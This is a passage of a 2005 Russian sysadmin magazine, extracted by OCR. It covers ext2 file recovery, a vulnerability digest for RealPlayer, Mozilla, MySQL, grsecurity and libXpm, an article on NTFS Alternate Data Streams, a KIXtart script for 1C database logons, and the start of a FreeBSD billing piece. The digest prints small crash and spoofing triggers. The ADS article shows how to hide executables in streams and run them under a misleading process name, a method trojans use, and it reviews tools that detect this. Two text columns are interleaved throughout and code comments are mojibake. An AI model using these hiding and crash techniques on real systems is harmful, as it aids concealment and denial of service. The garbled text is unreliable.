этом расположенный за границей в 100 Кбайт от его нача- ментированы. А ведь FreeBSD занимает далеко не после-
ла. Это может быть текстовая строка, копирайт фирмы, да днее место в мире UNIX-совместимых операционных сис-
все что угодно! Нам нужен номер блока. Пусть для опреде- тем и разрушения данных даже в масштабах небольшого
ленности он будет равен 0x1234. Записываем его в обрат- городка происходят сплошь и рядом. К счастью, в подавля-
ном порядке так, чтобы младший байт располагался по ющем большинстве случаев информацию можно полнос-
меньшему адресу, и выполняем поиск 34h 12h 00h 00h – тью восстановить, но об этом – в следующий раз.
именно это число будет присутствовать в косвенном бло-
ке. Отличить косвенный блок от всех остальных блоков (на- Литература:
пример, блоков, принадлежащих файлам данных) очень 1. Design and Implementation of the Second Extended File
легко – он представляет собой массив 32-битных номеров system – подробное описание файловой системы ext2fs
блоков более или менее монотонно возрастающих. Дваж- от разработчиков проекта на английском языке: http://
ды и трижды косвенные блоки отыскиваются по аналогич- e2fsprogs.sourceforge.net/ext2intro.html.
ной схеме. 2. Linux Ext2fs Undeletion mini-HOWTO – краткая, но доход-
Проблема в том, что одни и те же блоки в разное время чивая инструкция по восстановлению удаленных фай-
могли принадлежать различным файлам, а значит, и раз- лов на ext2fs-разделах на английском языке: http://
личным косвенным блокам. Как разобраться, какой из них www.praeclarus.demon.co.uk/tech/e2-undel/howto.txt.
правильный? Да очень просто! Если хотя бы одна из ссы- 3. Ext2fs Undeletion of Directory Structures mini-HOWTO –
лок косвенного блока указывает на уже занятый блок, дан- краткое руководство по восстановлению удаленных ди-
ный косвенный блок принадлежит давно удаленному фай- ректорий на ext2fs-разделах на английском языке: http:/
лу и нам совсем не интересен. /www.faqs.org/docs/Linux-mini/Ext2fs-Undeletion-Dir-
Кстати говоря, debugfs не вполне хорошо поддержива- Struct.html.
ет ext3fs. В частности, команда lsdel всегда показывает ноль 4. HOWTO-undelete – еще одно руководство по восстанов-
удаленных файлов, даже если был стерт весь раздел. Так лению удаленных файлов на ext2fs-разделах при помо-
что вопрос выбора файловой системы отнюдь не так прост, щи редактора lde на английском языке: http://lde.
каким его пытаются представить книги из серии «Linux для sourceforge.net/UNERASE.txt.

42
bugtraq

Переполнение буфера в RealPlayer Выполнение произвольного кода


Программа: RealPlayer версии до 6.0.12.1059; Linux в Mozilla
RealPlayer 10 and Helix Player. Программа: Mozilla 1.7.3; Mozilla Firefox 1.0 и более ранние
Опасность: Средняя. версии.
Описание: Уязвимость позволяет удаленному пользовате- Опасность: Средняя.
лю выполнить произвольный код на целевой системе. Описание: Уязвимость позволяет удаленному пользовате-
1. Переполнение буфера существует при обработке SMIL. лю вызвать повреждение куки и выполнить произвольный
Удаленный пользователь может создать специальным об- код на уязвимой системе.
разом SMIL-файл, вызвать переполнение буфера и выпол- Уязвимость существует в функциях обработки строк в
нить произвольный код на системе. Уязвимость существу- файле mozilla/xpcom/string/src/nsTSubstring.cpp. Функция
ет в файле datatype/smil/renderer/smil1/smlparse.cpp при об- nsTSubstring_CharT::Replace() не проверяет возвращаемое
работке атрибута размера экрана. Пример (переполнение значение, которое увеличивает строку. Для реализации
буфера происходит, если «LONGSTRING» более 256 байт): уязвимости требуется потребление всей доступной для це-
левого процесса или пользователя памяти. Удаленный
<text src="1024_768.en.txt" region="size" пользователь может с помощью специально сформирован-
system-screen-size="LONGSTRINGX768">
ных заголовков, с помощью javascript сценария или каким-
2. Уязвимость существует при обработке WAV-файлов. либо другим способом заставить браузер потребить боль-
Злоумышленник может специальным образом создать WAV- шое количество памяти и затем перезаписать память про-
файл, вызвать переполнение буфера и выполнить произ- извольными данными. Удачная эксплуатация позволит зло-
вольный код на системе. умышленнику выполнить произвольный код на системе или
URL производителя: http://www.real.com. вызвать отказ в обслуживании.
Решение: Установите обновления с сайта производителя. URL производителя: http://mozilla.org.
Решение: Установите обновления с сайта производителя.

Подмена строки состояния


в браузере Mozilla Отказ в обслуживании при обработке
Программа: Mozilla 1.7.5; Mozilla Thunderbird 1.0; Mozilla MS-DOS имен в MySQL
Firefox 1.0.1. Программа: MySQL 4.0.x и 4.1.x for Windows.
Опасность: Низкая. Опасность: Низкая.
Описание: Уязвимость существует при отображении пути Описание: Уязвимость обнаружена при обработке зарезер-
к сохраняемой странице при нажатии на ссылке и выборе вированных имен MS-DOS-устройств. Удаленный пользо-
меню «Save Link Target As…». Удаленный пользователь ватель может создать одноименную базу данных с MS-DOS-
может специальным образом создать ссылку и заставить устройством и при переходе в нее вызвать отказ в обслу-
пользователя сохранить злонамеренный файл. живании базы данных. Для успешной эксплуатации уязви-
Пример: мости злоумышленнику требуются глобальные привилегии
<a href="[TRUSTED_URL]"> на REFERENCES, CREATE TEMPORARY TABLES, GRANT
< table><tr><td> OPTION, CREATE и SELECT.
< a href="[MALICIOUS_URL]">download
< /a> Пример:
< /td></tr></table>
< /a> use LPT1;

URL производителя: http://www.mozilla.com. URL производителя: http://www.mysql.com.


Решение: Способов устранения уязвимости не существу- Решение: Установите последнюю версию от производите-
ет в настоящее время. ля.

Повышение привилегий Выполнение произвольного кода


в grsecurity в PaX в libXpm
Программа: grsecurity версии до 2.1.2. Программа: libXpm.
Опасность: Низкая. Опасность: Высокая.
Описание: Уязвимость обнаружена на системах с включен- Описание: Уязвимость существует в файле lib/scan.c из-за
ным зеркалированием vma посредством опций ядра некорректной обработки входных данных, содержащихся в
SEGMEXEC или RANDEXEC. Локальный пользователь мо- графических файлах. Злоумышленник может создать спе-
жет выполнить произвольный код с привилегиями целево- циальным образом графический файл, вызвать переполне-
го процесса с помощью любой программы, которая может ние буфера и выполнить произвольный код на системе.
быть выполнена на системе. URL производителя: http://www.x.org.
URL производителя: http://pax.grsecurity.net. Решение: Установите обновление от производителя.
Решение: Установите последнюю версию от производите-
ля. Составил Александр Антипов

№3, март 2005 43


администрирование

ИСПОЛЬЗОВАНИЕ АЛЬТЕРНАТИВНЫХ
ПОТОКОВ ДАННЫХ
Когда армия сталкивается с оврагами и ущельями, заболоченной
местностью с тростником и высокой травой, горными лесами
или густым и спутанным кустарником, необходимо тщательно
прочесать их, ибо там могут быть спрятаны засады и шпионы…
Стратегия ведения войны такова: не полагайся на то, что враг
не придет, полагайся на средства, которыми располагаешь, чтобы
принять его. Не полагайся на то, что враг не нападет; полагайся
на то, чтобы наши позиции были неуязвимы для нападения…
Поэтому сказано, что тот, кто знает врага и знает себя, не окажется
в опасности и в ста сражениях. Тот, кто не знает врага, но знает
себя, будет то побеждать, то проигрывать. Тот, кто не знает
ни врага, ни себя, неизбежно будет разбит в каждом сражении…

«Искусство войны»
Сунь-Цзы

МАКСИМ КОСТЫШИН
Возможность использования альтернативных потоков дан- мы обнаружим в редакторе текст, который мы только что
ных (Alternate Data Streams – ADS) заложена в файловой набирали и сохранили в ADS.
системе NTFS и поддерживается операционными система- Подтвердить наличие альтернативного потока можно
ми Microsoft Windows 2000 и выше. Специфика ADS заклю- также, если в «Проводнике» попытаться скопировать файл
чается в том, что c файлами и каталогами могут ассоции- test.txt на носитель с файловой системой, отличной от NTFS
роваться дополнительные наборы данных, информация о (например, на дискету). При этом на экран будет выдано
которых и само содержимое, вообще говоря, недоступны с предупреждение о том, что копия файла на дискете не бу-
помощью стандартных утилит и встроенных команд опера- дет содержать данных ADS.
ционной системы Microsoft Windows.
Изложение основных подходов работы с альтернатив-
ными потоками построено на конкретных примерах. Также
в статье приводится сравнительный обзор специализиро-
ванных утилит, позволяющих производить поиск файлов,
содержащих ADS, а также выполнять операции с инфор-
мацией, хранимой в потоках.

Примеры работы с альтернативными


потоками данных
Создание ADS и работа с использованием
редактора NotePad
Создадим на диске C: пустой файл test.txt, после чего вы- Использование стандартных команд
полним команду: операционной системы Windows при работе
с альтернативными потоками данных
NotePad C:\test.txt:example.txt Для создания потока может быть применена стандартная
операция перенаправления потока вывода. Например, вы-
На предложение создать новый файл, ответим положи- полнив команду:
тельно (в записи test.txt:example.txt подразумевается, что
example.txt – это имя потока для файла test.txt). Затем на- type C:\boot.ini > C:\test.txt:boot.ini
берем произвольный текст и завершим работу с програм-
мой, сохранив изменения. При исследовании параметров мы поместим в альтернативный поток содержимое файла,
файла C:\test.txt можно заметить, что размер файла test.txt определяющего вариант загрузки операционной системы
по-прежнему равен нулю (из видимых обычными средства- компьютера. Просмотреть данные, сохраненные в потоке,
ми параметров были модифицированы лишь даты после- можно при помощи все того же редактора NotePad.
днего доступа и изменений). Следует обратить внимание на то, что стандартные ко-
Выполнив команду: манды copy, type, del и прочие, предназначенные для вы-
полнения операций с файлами, не позволяют использовать
NotePad C:\test.txt:example.txt в именах файлов-параметров конструкции, характерные

44
администрирование
для определения имени альтернативного потока. В этой Просмотреть данные ADS в Microsoft Word нам удалось
связи выполнение файловых операций для ADS стандарт- лишь в режиме «только чтение», закрыв все приложения
ными командами операционной системы затруднительно. указанного редактора, переименовав файл test.txt в test
Вместе с тем вывод на экран содержимого test.txt:boot.ini (исключив из имени файла расширение), выполнив следу-
можно выполнить при помощи следующей команды: ющую команду:

type C:\boot.ini > C:\test.txt:boot.ini "C:\Program Files\Microsoft Office\Office10\WinWord.exe" ↵


C:\test:example.doc

Для удаления всех имеющихся для файла альтернатив- Сохранить изменения при работе WinWord с данными
ных потоков можно воспользоваться следующим набором потока невозможно в связи с тем, что в программе реали-
операций: зован жесткий контроль имен файлов для сохранения ин-
формации.
ren temp.txt test.txt Что касается возможностей других распространенных
type temp.txt > test.txt
del temp.txt составляющих Microsoft Office, то проверка показала пол-
нофункциональные возможности обработки базы данных,
Использование стандартной команды copy для temp.txt в сохраненной в потоке, для Access.
файловой системе NTFS позволяет создать точную копию Особенности для операций открытия и сохранения из-
файла, которая будет содержать поток исходного файла. менений электронной таблицы, содержащейся в ADS, с
Особо следует обратить внимание на то, что в файло- помощью Microsoft Excel аналогичны тем, что были указа-
вой системе NTFS возможности создания ADS применимы ны выше для Microsoft Word.
как к файлам, так и к любым каталогам:
Запуск программ, сохраненных
md C:\example в альтернативном потоке данных
type C:\example.txt > c:\example:example.txt
Запустить обычным способом программы, сохраненные в
или просто: ADS, не удастся. Однако как вариант можно применить ко-
манду start.
type C:\example.txt > c:\:example.txt Поместим программу WordPad.exe в альтернативный
поток файла example.txt с одноименным названием:

Обработка документов Microsoft type WordPad.exe > C:\example.txt:WordPad.exe


и OfficeWordPad, размещенных
в альтернативных потоках данных Выполним команду:
Поместим в ADS документ Microsoft Word (при подготовке
статьи автор использовал Microsoft Word 2002 SP-2 из со- start C:\example.txt:WordPad.exe
става Microsoft Office XP). Для этого создадим документ
Word, сохраним его сначала в файл C:\example.doc, а за- и убедимся в том, что программа запущена.
тем с использованием операции перенаправления потока Обратим внимание на то, что в диспетчере задач Windows
вывода в поток: имя образа запущенного процесса будет указано не
WordPad.exe, а example.txt.
type C:\example.doc > C:\test.txt:example.doc

Отметим, что в случае отсутствия файла C:\test.txt при-


менение указанной команды создаст файл test.txt нулево-
го размера.
Откроем содержимое файла в стандартном редакторе
WordPad, выполнив следующую команду:

«C:\Program Files\Windows NT\Accessories\WordPad.exe» ↵


C:\test.txt:example.doc

Редактор WordPad вполне сгодится для просмотра доку-


ментов Microsoft Word, сохраненных в ADS. Следует отме-
тить, что у пользователей могут возникнуть проблемы, свя-
занные с тем, что WordPad обеспечивает сохранение инфор-
мации только в формате Word для Windows 6.0 и файла RTF.
При этом WordPad версии 5.0 (Windows 2000 Professional) не
позволяет выполнить преобразование и сохранение докумен-
та, помещенного в альтернативный поток данных, в поддер-
живаемом формате. Для WordPad версии 5.1 (Windows XP)
такие проблемы отсутствуют.

№3, март 2005 45


администрирование
Специальные средства для поиска Программа обладает возможностью пропускать при по-
и работы с альтернативными иске альтернативные потоки, которые имеют заданные в
потоками данных качестве параметров предопределенные имена, и предос-
Если в первой части статьи для ADS были рассмотрены тавляет информацию о размере данных, содержащихся в
варианты работы с использованием стандартных возмож- ADS.
ностей, предоставляемых пользователям операционной
системы, то ниже приведен обзор утилит, специально пред-
назначенных для поиска потоков и выполнения с ними ряда
операций, разработанных сторонними производителями.
Создадим тестовый файл C:\example\example.txt и за-
полним все значения стандартных свойств для него, кото-
рые помещаются операционной системой в альтернатив-
ные потоки.

Stream (www.sysinternals.com) – программа, автором


которой является известный среди программистов разра-
ботчик прикладных утилит Марк Русинович, доступна с ис-
ходными текстами. Параметры работы утилиты позволяют
производить поиск файлов с ADS по подкаталогам, а так-
же удалять найденные альтернативные потоки.
К недостаткам следует отнести некорректное отобра-
жение русских символов в названиях файлов и каталогов,
а также то, что программа не проверяет наличие ADS для
корневого каталога.

Используем файл для наблюдения за результатами ра-


боты специальных утилит.
LNS (http://ntsecurity.nu/toolbox/lns) – небольшая (менее
35 Кб) бесплатная консольная утилита, предназначенная
для поиска файлов с ADS и информации об имеющихся
альтернативных потоках. Программа не производит поиск
ADS для каталогов.
CrucialADS (http://crucialsecurity.com) – свободно распро-
страняемая утилита, обладающая графическим интерфей-
сом. Реализует поиск на выбранных пользователем дис-
ках файлов, содержащих ADS.
К недостаткам следует отнести отсутствие следующих
возможностей:
! сохранения информации, содержащейся в альтернатив-
ных потоках;
! определения размера данных для найденных потоков;
! поиска файлов с ADS на съемных носителях, отформа-
тированных под NTFS.

Замечание: кроме того, также как lads, программа не


LADS (http://www.heysoft.de) – свободно распространя- проверяет наличие специфических данных для корневого
емая консольная утилита поиска файлов, содержащих ADS. каталога.

46
администрирование
рокие возможности как в плане организации секретного
хранения на жестком диске конфиденциальных данных вла-
дельца компьютера, так и сохранения информации, не сан-
кционированного хозяином.
В потоках могут содержаться текстовые документы, таб-
лицы Excel и другие типы информации, которые можно об-
рабатывать как обычные файлы, без предварительного из-
влечения.
В ADS могут храниться и запускаться на выполнение ис-
полняемые модули. При этом информация в отношении име-
ни запущенного модуля, отображаемого стандартными сред-
ствами операционной системы, может вводить в заблужде-
ние относительно выполняемой процессором программы.
При копировании файлов и каталогов, содержащих по-
токи, на стандартные съемные носители, которые обычно
имеют файловую систему, отличную от NTFS, данные по-
NTFS Streams Info (http://www.isgeo.kiev.ua/shareware/ токов не будут продублированы.
index.html) – программа, рекомендуемая автором статьи, Известны факты использования возможностей ADS как
предусматривает всю необходимую функциональность для разработчиками вирусов и троянских утилит (в качестве
поиска и исследования альтернативных потоков данных. примера можно указать Trojan.Comxt.B), так и авторами
Лицензия программы определена как условно бесплатная и известных антивирусных программ.
предоставляет возможность демонстрационного использо- При использовании специальных программных средств
вания в течение 30 дней, помещая в раздел реестра, описы- для организации защиты компьютеров необходимо учиты-
вающего настройки программного обеспечения, параметр вать то обстоятельство, что разработчиками программ мог-
со значением даты начала использования программы. ли либо вообще не учитываться возможности поддержки ADS
в файловой системе NTFS, либо быть допущены ошибки.
Например, для ряда перечисленных выше специализи-
рованных утилит работы с альтернативными потоками дан-
ных не проверялось наличие ADS для каталогов и, в част-
ности, для корневого каталога.
Кроме того, при тестировании некоторых программ для
гарантированной очистки было обнаружено, что при выпол-
нении операции удаления файла, содержащего альтерна-
тивные потоки, не затирается информация, содержащаяся
в ADS. Вместе с тем, особых проблем в этом нет, так как
пользователи, применяющие средства гарантированного
удаления, как правило, используют возможности очистки
не занятого файлами и каталогами пространства диска,
которые уничтожают оставшиеся следы ADS не до конца
удаленных специфических файлов и каталогов.
Программа позволяет искать файлы, содержащие ADS,
выполнять над альтернативными потоками различные опе- Материалы:
рации (удалять и создавать новые, помещать в ADS данные 1. «Альтернативные потоки данных NTFS», Дон Паркер,
из заданного файла, извлекать данные потоков в файл). перевод Владимир Куксенок, http://www.securitylab.ru/
Ниже приводится предопределенный и накапливаемый 53136.html.
в утилите список названий потоков. 2. «Прикладная информационная безопасность шаг за ша-
гом», Сергей Гринкевич, http://www.securitylab.ru/
52764.html.
3. «Подготовка и использование аварийного набора», Матт
Леско, Журнал «Windows IT Pro», #08, 2004 год // Изда-
тельство «Открытые системы», http://www.osp.ru/
win2000/2004/08/042.htm.
4. «Hidden Threat: Alternate Data Streams», Ray Zadjmool,
http://lib.training.ru/Lib/ArticleDetail.aspx?ar=5312&l=n&mi=
1326&mic=1337.
5. «FAQ: Alternate Data Streams in NTFS», http://www.hey
Вместо эпилога soft.de Frames/f_faq_ads_en.htm.
Подведем некоторые итоги по материалу, изложенному 6. «How To Use NTFS Alternate Data Streams», http://support.
выше. Альтернативные потоки данных предоставляют ши- microsoft.com/default.aspx?scid=kb;en-us;Q105763&sd=tech.

№3, март 2005 47


администрирование

АВТОМАТИЗАЦИЯ ПРОЦЕССА
ПОДКЛЮЧЕНИЯ БАЗ 1С
С ПОМОЩЬЮ СЦЕНАРИЯ
РЕГИСТРАЦИИ ПОЛЬЗОВАТЕЛЕЙ
В СЕТИ

ИВАН КОРОБКО
В крупных организациях, где штат бухгалтерии насчитыва- основе данных из реестра – список подключенных баз. За-
ет не один десяток человек и одновременно эксплуатиру- тем, изменяя ветвь реестра HKCU (HKEY_CURRENT_USER),
ется несколько баз 1С версии 7.7, актуальна проблема ав- осуществляется сопоставление созданных списков: подклю-
томатизированного управления подключением бухгалтер- чаются недостающие базы и отключаются лишние.
ских баз. В статье речь пойдет о том, как с помощью сцена-
рия регистрации пользователей в сети подключить бухгал- Сценарий регистрации
теру только те базы, с которыми он работает. пользователей в сети
Для создания сценария рекомендуется использовать KIXTart
Основная идея (http://kixtart.org), поскольку он является наиболее подходя-
Подключение баз основано на членстве учетных записей щим для решения поставленной задачи.
пользователей в соответствующих группах безопасности, Сценарий регистрации условно можно разделить на не-
находящихся в Active Directory, которые удовлетворяют не- сколько логических частей:
скольким условиям: ! подключение сетевого диска;
! Название группы состоит из 2 частей – префикса, кото- ! формирование списка баз, которые должны быть под-
рый у всех групп одинаковый, и собственно названия груп- ключены;
пы. Оно совпадает с названием каталога, в котором фи- ! формирование списка баз, которые подключены в на-
зически находится подключаемая база 1С. стоящее время;
! Значением поля «Description» является название базы ! сопоставление сформированных списков, запись дан-
1С, отображаемое в меню, которое появляется после ных в реестр рабочей станции.
запуска оболочки 1С (см. рис. 1).
Подключение сетевых дисков
Во время входа в сеть от имени пользователя запуска- Доступ к базам, расположенным на сервере, рекомендует-
ется сценарий регистрации пользователей в сети, который ся осуществлять с помощью подключения сетевого диска.
во время своей работы составляет два списка баз. Один из Для этого необходимо знать два параметра: букву, к кото-
них – список подключаемых баз. Он формируется на основе рой будет монтироваться ресурс, и UNC-путь к нему.
данных из Active Directory. Второй список формируется на Все задаваемые вручную параметры принято выносить

48
администрирование
в конфигурационный файл. KIXTart обладает встроенной где value – возвращаемое значение параметра key разде-
поддержкой INI-файлов, которые удобно использовать в ка- ла section файла file_name. Подключение сетевого диска
честве конфигурационных файлов. INI-файл представляет выглядит следующим образом:
собой текстовый файл, имеющий следующую структуру:
$FName=”config.ini”
[ðàçäåëM] $Section=”1C”
ïàðàìåòð1M=çíà÷åíèå1M $1C_Letter_VaL = ReadProfileString($FName, $Section, ↵
“1C_Letter”) ;÷òåíèå ïàðàìåòðà 1C_Letter
ïàðàìåòð2M =çíà÷åíèå2M $1C_Path_Val = ReadProfileString($FName, $Section, ↵
……………………….
ïàðàìåòðNM=çíà÷åíèåNM “1C_Path”) ; ÷òåíèå ïàðàìåòðà 1C_Path
; îòêëþ÷åíèå ñåòåâîãî äèñêà
Use $1C_Letter_Val + ":" /delete /persistent
Создадим конфигурационный файл config.ini со следу- ; ïîäêëþ÷åíèå ñåòåâîãî äèñêà
ющим содержимым: Use $1C_Letter_Val + ":" $1c_Path_Val

[1C]
1C_Letter=R
1C_Path=\\Server\1C_Bases$ Формирование списка подключаемых баз
Список подключаемых баз формируется на основе член-
Чтение конфигурационного файла осуществляется с по- ства учетных записей пользователей в соответствующих
мощью функции ReadProfileString(): группах безопасности. Как отмечалось ранее, в названиях
этих групп присутствует префикс, который также необхо-
value=ReadProfileString ("file_name", "section", "key") димо указать в конфигурационном файле:

Ðèñóíîê 1

№3, март 2005 49


администрирование
[1C] Для провайдера WinNT описание группы определяется
1C_Prefix=”1C$_” следующим образом:
В результате формируется массив. Его элементами яв-
ляются название базы и полный путь к каталогу, которые $1C_Group_Descr=GetObject ↵
(“WinNT://”+short_WinNT_name+”/”+$1C_Group).Description
разделены специальным символом. Его также рекоменду-
ется описать в конфигурационном файле: Для провайдера LDAP описание группы определяется
так:
[1C]
1C_Symbol=”#” $strADSQuery = "SELECT description FROM ↵
'LDAP://" + $long_Ldap_name + "' ↵
Такая структура элемента массива продиктована выпол- WHERE Name = "' + $1C_Group + "' and objectClass='group'"
нением нескольких условий: $objADOConn = createObject("ADODB.Connection")
$objADOConn.Provider = "ADsDSOObject"
! Управление осуществляется только сетевыми базами. $objADoConn.Open ("Active Directory Provider")
Список подключенных локальных баз не корректирует- $objADOCommand = CreateObject("ADODB.Command")
$objADOCommand.ActiveConnection = $objADOConn
ся. $objADOCommand.CommandText = $strADSQuery
! Некорректные названия сетевых баз будут исправлены. $objQueryResultSet = $objADOCommand.Execute
$1C_Group_Descr =$objQueryResultSet.Fields("description")

Поскольку сценарий загрузки запускается от имени поль- Оба варианта имеют право на жизнь, и скорость их ра-
зователя, который осуществляет вход в сеть, то нет необ- боты примерно одинакова, однако рекомендуется исполь-
ходимости осуществлять поиск необходимых групп среди зовать второй вариант, несмотря на то что он выглядит гро-
всех групп домена с помощью ADODB. Рационально вос- моздким. Дело в том, что провайдер WinNT был разрабо-
пользоваться встроенной функцией в KIXTart EnumGroup(), тан для Windows NT, а LDAP – для Windows 2000. В бли-
которая возвращает список групп, в которые входит теку- жайшем будущем, компания Microsoft, наверное, откажет-
щий пользователь, и из этого списка отобрать группы, име- ся от поддержки провайдера WinNT.
ющие оговоренный префикс: Таким образом, сценарий, формирующий массив, эле-
менты которого включают в себя путь и название базы, выг-
… лядит следующим образом:
$meta = ReadProfileString($FName, $Section, “1C_Symbol”)
$p=0
DO $meta = ReadProfileString($FName, $Section, “1C_Symbol”)
$group=EnumGoup($p) $1C_Letter_VaL = ReadProfileString($FName, $Section, ↵
If Instr($group, $meta)<>0 “1C_Letter”)
? $group
End if Set rootDSE_ = GetObject("LDAP://RootDSE")
UNTIL Len($group)=0 d_def=rootDSE_.Get("defaultNamingContext")
long_Ldap_name = "LDAP://" + d_def
Значение переменной $group строится в соответствии $p=0
со следующим шаблоном: Domain\Group_Name, поэтому для $q=0
Dim $1C_Must[]
формирования пути к каталогу необходимо вычленить со- DO
ставляющую Group_Name. Листинг, формирующий полный $group=EnumGoup($p)
If Instr($group, $meta)<>0
путь к каталогу, содержащего базу 1C, следующий:
$1C_Group=Right($group, ↵
$1C_Letter_VaL = ReadProfileString($FName, $Section, ↵ Len(group)-InstrRev($group,”\”)-Len($meta))
“1C_Letter”) ;âèä ïåðåìåííîé R:\Folder_with_Base
$1C_Base=$1C_Letter_VaL+”:\”+$1C_Group
$1C_Group=Right($group, ↵
Len(group)-InstrRev($group,”\”)-Len($meta))
; âèä ïåðåìåííîé R:\Folder_with_Base $strADSQuery = "SELECT description FROM ↵
'LDAP://" + $long_Ldap_name + "' ↵
$1C_Base=$1C_Letter_VaL+”:\”+$1C_Group WHERE Name = "' + $1C_Group + "' and objectClass='group'"
$objADOConn = createObject("ADODB.Connection")
Второй частью элемента формирующегося массива яв- $objADOConn.Provider = "ADsDSOObject"
$objADoConn.Open ("Active Directory Provider")
ляется описание группы. Чтение этого свойства можно ре- $objADOCommand = CreateObject("ADODB.Command")
ализовать как с помощью провайдера WinNT, так и LDAP. $objADOCommand.ActiveConnection = $objADOConn
$objADOCommand.CommandText = $strADSQuery
Приведем оба варианта. Для доступа к объекту AD необхо- $objQueryResultSet = $objADOCommand.Execute
димо либо указать имя домена в явном виде, либо создать $1C_Group_Descr =$objQueryResultSet.Fields("description")
сценарий для определения текущего домена. По понятным ; ïåðåîïðåäåëåíèå ðàçìåðà äèíàìè÷åñêîãî ìàññèâà
причинам, указывать имя домена в явном виде некоррект- Redim Preserve $1C_Must[$q]
$1C_Must[$q]= UCase($1C_Base)+$meta+$1C_Group_Descr
но, поэтому создадим сценарий для определения длинного $q=$q+1
(используется провайдером LDAP) и короткого (использу- End if
$p=$p+1
ется провайдером WinNT) имен доменов: UNTIL Len($group)=0

Set rootDSE_ = GetObject("LDAP://RootDSE")


d_def=rootDSE_.Get("defaultNamingContext")
long_Ldap_name = "LDAP://" + d_def Формирование списка подключенных баз
short_WinNT_name= mid(d_def, ↵ Список баз определяется чтением параметров и значений
instr(d_def,"=")+1,instr(d_def,",")-instr(d_def,"=")-1)
Wscript.Echo long_Ldap_name ; èìååò âèä «DC=domain, DC=ru» из соответствующей ветви реестра в массив, структура эле-
Wscript.Echo short_ WinNT_name ; èìååò âèä «Domain» ментов которого аналогична элементам массива $1C_

50
администрирование
Must[$q]. Ветвь реестра, из которой будет читаться инфор- $group=$1c_must[$dfg]
мация, рекомендуется описать в конфигурационном фай- WriteValue ($1c_Path, Left($group, ↵
Instrrev($group,$meta)-1), Right($group, ↵
ле (см. рис. 1): Len($group)-Instrrev($group, $meta) - Len($meta)+1), ↵
"REG_SZ")
endif
[1C] next
; ïî óìîë÷àíèþ âåòâü HKCU
1C_Registry=Software\1c\1cv7\7.7\Titles

Чтение списка параметров из раздела Titles, названия Установка пользователя 1С по умолчанию


которых являются путями к каталогам, в которых находятся Осуществив вход в сеть, пользователь, запускающий 1С
базы 1С, осуществляется с помощью функции EnumValue() ожидает увидеть, что при авторизации входа в базу 1С из
(см. рис. 1), а значений параметров, являющихся названи- списка ему будет предложено по умолчанию его имя. Для
ями баз, считываемые из поля Description групп безопасно- того чтобы это реализовать, необходимо, чтобы имя пользо-
сти, – с помощью функции ReadValue(): вателя в сети и 1С либо совпадали, либо были взаимосвя-
заны при помощи какого-либо правила. Для удобства ра-
$1C_Registry_Val = ReadProfileString($FName, $Section, боты пользователей рекомендуется сделать имена пользо-
“1C_Registry”)
dim $1c_connected[] вателей в сети и в 1С идентичными. Имя пользователя по
$m=0 умолчанию в каждой базе отдельно в разделе HKCU\Soft-
$n=0
DO ware\1c\1cv7\7.7\BASE_NAME|startup значением параметра
$1c_Title=EnumValue($1C_Registry_Val, $m) UserName. Поскольку значение этого параметра совпада-
$1c_Name=ReadValue($1C_Registry_Val, $1c_Title)
if Lcase(Left($1c_Title,1))= ↵ ет с именем пользователя в сети, то рекомендуется вос-
Lcase($1C_Letter_VaL) пользоваться одним из встроенных макросов в KIXTart –
ReDim Preserve $1C_Connected[$n]
$1C_Connected[$n]= ↵ @userid, с помощью которого определяется имя текущего

Ucase($1c_Title)+↵ пользователя.
$meta +$1c_Name
$n=$n+1 Листинг этой функции выглядит следующим образом:
endif
$m = $m + 1 WriteValue ($1c_base+"\"+Right($group, ↵
UNTIL Len($1c_Title) =0 Len($group) - Instrrev($group, $meta)-↵ ↵
Len($meta)+1)+"\StartUp", "UserName", @userid, "REG_SZ")
Таким образом, имеется два массива – уже подключен-
ных баз и баз, которые должны быть подключены. Структу- Листинг рекомендуется включить в процедуру сопостав-
ра элементов обоих массивов одинакова. Элемент масси- ления списка баз в раздел добавления баз, сразу после
ва включает в себя локальный путь к базе и ее название. функции записи нового значения базы в разделе Titles.
Эти параметры разделены уникальным символом. В том случае если указанное имя пользователя не най-
дено (см. рис. 2) в списке пользователей 1С, то сама про-
Сопоставление сформированных списков баз грамма уничтожит созданную запись пользователя по умол-
Сопоставление списков осуществляется в два этапа: на пер- чанию, и пользователь увидит пустое поле. С помощью рас-
вом из них происходит удаление лишних баз. Напомним, крывающегося списка он должен будет выбрать имя пользо-
что управление реализовано только для сетевых баз. Ло- вателя, под которым он будет работать с базой 1С.
кальные базы сценарий загрузки «не трогает». Сопостав-
ление списков осуществляется с помощью функции AScan(),
которая ищет совпадающие элементы в массивах. Удале-
ние лишних баз осуществляется стиранием лишнего пара-
метра в реестре с помощью функции DelValue(). На втором
этапе добавляются отсутствующие базы с помощью той же
самой функции AScan(). Используя её, в качестве парамет- Ðèñóíîê 2
ров указывается и в первом и во втором случае одни и те
же массивы. Только в первом случае анализируемым мас- Заключение
сивом является $1c_Must[], а во втором – 1c_Connected[]: Результатом работы созданного сценария является форми-
рование списка баз 1С, с которыми пользователь имеет пра-
; óäàëåíèå ëèøíèõ áàç во работать. При выборе базы 1С, имя пользователя по умол-
for $dfg=0 to ubound($1c_Ñonnected)
$flag_p=0 чанию определяется автоматически. Таким образом, при
$flag_p=AScan($1c_Must, $1c_Connected[$dfg]) переходе бухгалтера с одной рабочей станции на другую или
if $flag_p=-1
$group=$1c_Connected[$dfg] смены его должностных обязанностей, затраты на админис-
DelValue ($1c_path, ↵ трирование значительно сокращаются: управление подклю-
Left($Group,Instrrev($Group,$meta)-1))
endif чением баз осуществляется в автоматическом режиме. Но-
next вый инструмент может быть подключен к сценарию регист-
; ïîäêëþ÷åíèå íåäîñòàþùèõ áàç рации пользователей в сети в качестве функции. В прило-
for $dfg=0 to ubound($1c_must) жении (на сайте журнала http://samag.ru в разделе «Исход-
$flag_p=0
$flag_p=Ascan($1c_connected,$1c_must[$dfg]) ный код») приведены примеры листинга конфигурационно-
if $flag_p=-1 го файла config.ini и непосредственно сценарий.

№3, март 2005 51


администрирование

САГА О БИЛЛИНГЕ,
ИЛИ СЧИТАЕМ ТРАФИК НА FreeBSD
(ng_ipacct + Perl + MySQL)
ЧАСТЬ 2
ВЛАДИМИР ЧИЖИКОВ
В предыдущей части статьи мы рассмотрели, как устано- #!/usr/bin/perl -w
вить и запустить ng_ipacct, а также рассмотрели создание use DBI;
use Time::localtime;
своих собственных скриптов для запуска и остановки раз-
рабатываемой системы учета трафика. Последний у вас должен быть по умолчанию в системе,
Дальнейшая цель – получить статистику и поместить ее а вот наличие DBI необходимо проверить. Самый простой
в базу. Что нам для этого нужно? В первой части статьи, способ – отправить на исполнение скрипт уже в таком виде.
